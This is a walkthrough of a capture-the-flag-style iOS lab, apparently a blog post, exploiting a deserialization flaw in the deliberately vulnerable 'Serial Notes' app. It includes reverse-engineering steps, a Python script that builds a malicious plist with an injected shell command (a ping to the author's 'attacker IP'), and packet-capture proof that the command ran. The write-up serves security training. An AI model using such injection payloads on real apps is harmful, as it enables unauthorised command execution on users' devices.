Description: Welcome to the iOS Application Security Lab: Deserialization Vulnerability Challenge. The challenge revolves around a fictitious note-taking app called Serial Notes. Serial Notes is designed to support markdown editing and has its own file format to share the notes. However, it harbors a critical vulnerability related to deserialization, which can be escalated to command injection. Your objective is to exploit this vulnerability to execute arbitrary command within the app.

Install an IPA file can be difficult.
So, for make it more easy, I made a YouTube video with the process using Sideloadly.
LINK: https://www.youtube.com/watch?v=YPpo9owRKGE
NOTE: If you have problems with the keyboard and UI (buttons) when you need to hide it on a physical device, you can fix this problem by using the KeyboardTools
by @CrazyMind90
found in the Sileo app store.
Once you have the app installed, let’s proceed with the challenge.
We can see that is a simple text editor that use markdown for show the notes.
This have functionalities like ‘save
‘, create
and open
.
unzip the .ipa
file.
Looking inside of SerialNotes.app
folder, let’s inspect the Info.plsit
, but here doesn’t have interesting information.
Also, another folder can be inspected, /Frameworks/hermes.framework
We have another Info.plist
CFBundleDevelopmentRegion
English
CFBundleExecutable
hermes
CFBundleIconFile
CFBundleIdentifier
dev.hermesengine.iphoneos
CFBundleInfoDictionaryVersion
6.0
CFBundlePackageType
FMWK
CFBundleShortVersionString
0.12.0
CFBundleSignature
????
CFBundleVersion
0.12.0
CSResourcesFileMapped
MinimumOSVersion
13.4
We can see that use
- Hermes 0.12.0
I did’t find any CVE or vulnerabilities that we can approach.
But I found this interesting article:
https://snyk.io/blog/swift-deserialization-security-primer/
We can confirm with
strings "SerialNotes" | grep -iE "NScoding|NSSecureCoding|initWithCoder:|encodeWithCoder:"
Output:
NSCoding
encodeWithCoder:
initWithCoder:
Now it’s time for objection tool.
With your phone connected, and SerialNotes app opened, run
objection -g "SerialNotes" explore
With env
command we can see the the environment where the app works.
Name Path
----------------- -----------------------------------------------------------------------------------------------
BundlePath /private/var/containers/Bundle/Application/50CB8C88-5438-4C17-B214-E8B949E0C8B5/SerialNotes.app
CachesDirectory /var/mobile/Containers/Data/Application/4A04863D-50E3-4DDB-BBFF-A9099D004079/Library/Caches
DocumentDirectory /var/mobile/Containers/Data/Application/4A04863D-50E3-4DDB-BBFF-A9099D004079/Documents
LibraryDirectory /var/mobile/Containers/Data/Application/4A04863D-50E3-4DDB-BBFF-A9099D004079/Library
Save a file demo notes.serial
and get the file with scp
scp root@192.168.1.90:/private/var/mobile/Containers/Shared/AppGroup//File\ Provider\ Storage/notes.serial .
Then
file notes.serial
notes.serial: Apple binary property list
So, let’s convert this file in a readable format.
plutil -convert xml1 notes.serial -o notes_serial.xml
$archiver
NSKeyedArchiver
$objects
$null
$class
CF$UID
8
NS.objects
CF$UID
2
$class
CF$UID
7
content
CF$UID
4
last_updated
CF$UID
5
name
CF$UID
3
os
CF$UID
6
Untitled
Test
Sun, 16 Feb 2025 18:48:36 GMT
Darwin iPhoneHack 22.6.0 Darwin Kernel Version 22.6.0: Tue Jul 2 20:47:35 PDT 2024; root:xnu-8796.142.1.703.8~1/RELEASE_ARM64_T8015 iPhone10,3 arm Darwin
$classes
SerialNotes.Note
NSObject
$classname
SerialNotes.Note
$classes
NSArray
NSObject
$classname
NSArray
$top
root
CF$UID
1
$version
100000
The structure includes classes like SerialNotes.Note
and NSArray
, indicating that this plist may be used to store serialized data for notes or similar objects.
Let’s use ghidra for functions analysis.
After use some frida scripts I noticed that the we have a deserialization when we try open some file.
The functions is so huge, but it’s String __thiscall SerialNotes::SerialFile::$openFile(SerialFile *this,String param_1)
Where we can found that some command is executed, and uses
__C::NSKeyedUnarchiver::typeMetadataAccessor();
(extension_Foundation)::__C::NSKeyedUnarchiver::$unarchiveTopLevelObjectWithData(DVar11);
That means that we can inject an bplist
object for modify what reproduce deserialization.
In notes_serial.xml
, we see that each note is stored with this structure:
$classes
SerialNotes.Note
NSObject
$classname
SerialNotes.Note
This means that we must modify the SerialNotes.Note
class to inject our payload.
openFile
and executeCommand
are manipulating string data.
We can found
Swift::String::append(SVar32, SVar36);
SVar35.str = (char *)"uname -s";
Swift::String::append(SVar31, SVar35);
This confirms that strings are being concatenated before executing a command.
strings "SerialNotes" | grep "uname"
Output:
uname -a
uname -a | grep -o '
If we manage to inject a malicious value in content or name inside SerialNotes.Note
, we can alter the execution, for example lautaro' ; <command>
Then, we can create the malicious .serial
file with this python script
import plistlib
payload = {
"$archiver": "NSKeyedArchiver",
"$version": 100000,
"$objects": [
"$null",
{
"$class": {"CF$UID": 8},
"NS.objects": [{"CF$UID": 2}]
},
{
"$class": {"CF$UID": 7},
"content": {"CF$UID": 4},
"last_updated": {"CF$UID": 5},
"name": {"CF$UID": 3},
"os": {"CF$UID": 6} # Inject command
},
"Title",
"exploit_note",
"Sun, 16 Feb 2025 18:48:36 GMT",
"test' ; ping 192.168.1.75 #", # Command
{
"$classes": ["SerialNotes.Note", "NSObject"],
"$classname": "SerialNotes.Note"
},
{
"$classes": ["NSArray", "NSObject"],
"$classname": "NSArray"
}
],
"$top": {
"root": {"CF$UID": 1}
}
}
with open("command_injection.serial", "wb") as f:
f.write(plistlib.dumps(payload))
print("File generated: command_injection.serial")
Note: 192.168.1.75
is my machine attacker IP & my iPhone is 192.168.1.90
We get command_injection.serial
file. Which can be upload via scp or with a python server.
Once you upload the file, restart the app and then, open the file.
In this case, I can see how the ping
command is executed
21:18:17.825519 IP 192.168.1.90 > 192.168.1.75: ICMP echo request, id 3664, seq 1, length 64
21:18:17.825663 IP 192.168.1.75 > 192.168.1.90: ICMP echo reply, id 3664, seq 1, length 64
21:18:18.591430 IP 192.168.1.1 > 192.168.1.75: ICMP echo request, id 1, seq 0, length 64
21:18:18.591490 IP 192.168.1.75 > 192.168.1.1: ICMP echo reply, id 1, seq 0, length 64
21:18:18.593379 IP 192.168.1.1 > 192.168.1.75: ICMP echo request, id 1, seq 256, length 64
21:18:18.593438 IP 192.168.1.75 > 192.168.1.1: ICMP echo reply, id 1, seq 256, length 64
21:18:18.827168 IP 192.168.1.90 > 192.168.1.75: ICMP echo request, id 3664, seq 2, length 64
21:18:18.827325 IP 192.168.1.75 > 192.168.1.90: ICMP echo reply, id 3664, seq 2, length 64
21:18:19.834521 IP 192.168.1.90 > 192.168.1.75: ICMP echo request, id 3664, seq 3, length 64
21:18:19.834711 IP 192.168.1.75 > 192.168.1.90: ICMP echo reply, id 3664, seq 3, length 64
21:18:20.873526 IP 192.168.1.90 > 192.168.1.75: ICMP echo request, id 3664, seq 4, length 64
21:18:20.873739 IP 192.168.1.75 > 192.168.1.90: ICMP echo reply, id 3664, seq 4, length 64
21:18:21.837882 IP 192.168.1.90 > 192.168.1.75: ICMP echo request, id 3664, seq 5, length 64
21:18:21.838062 IP 192.168.1.75 > 192.168.1.90: ICMP echo reply, id 3664, seq 5, length 64
21:18:22.909991 IP 192.168.1.90 > 192.168.1.75: ICMP echo request, id 3664, seq 6, length 64
21:18:22.910140 IP 192.168.1.75 > 192.168.1.90: ICMP echo reply, id 3664, seq 6, length 64
I hope you found it useful (:
Leave a Reply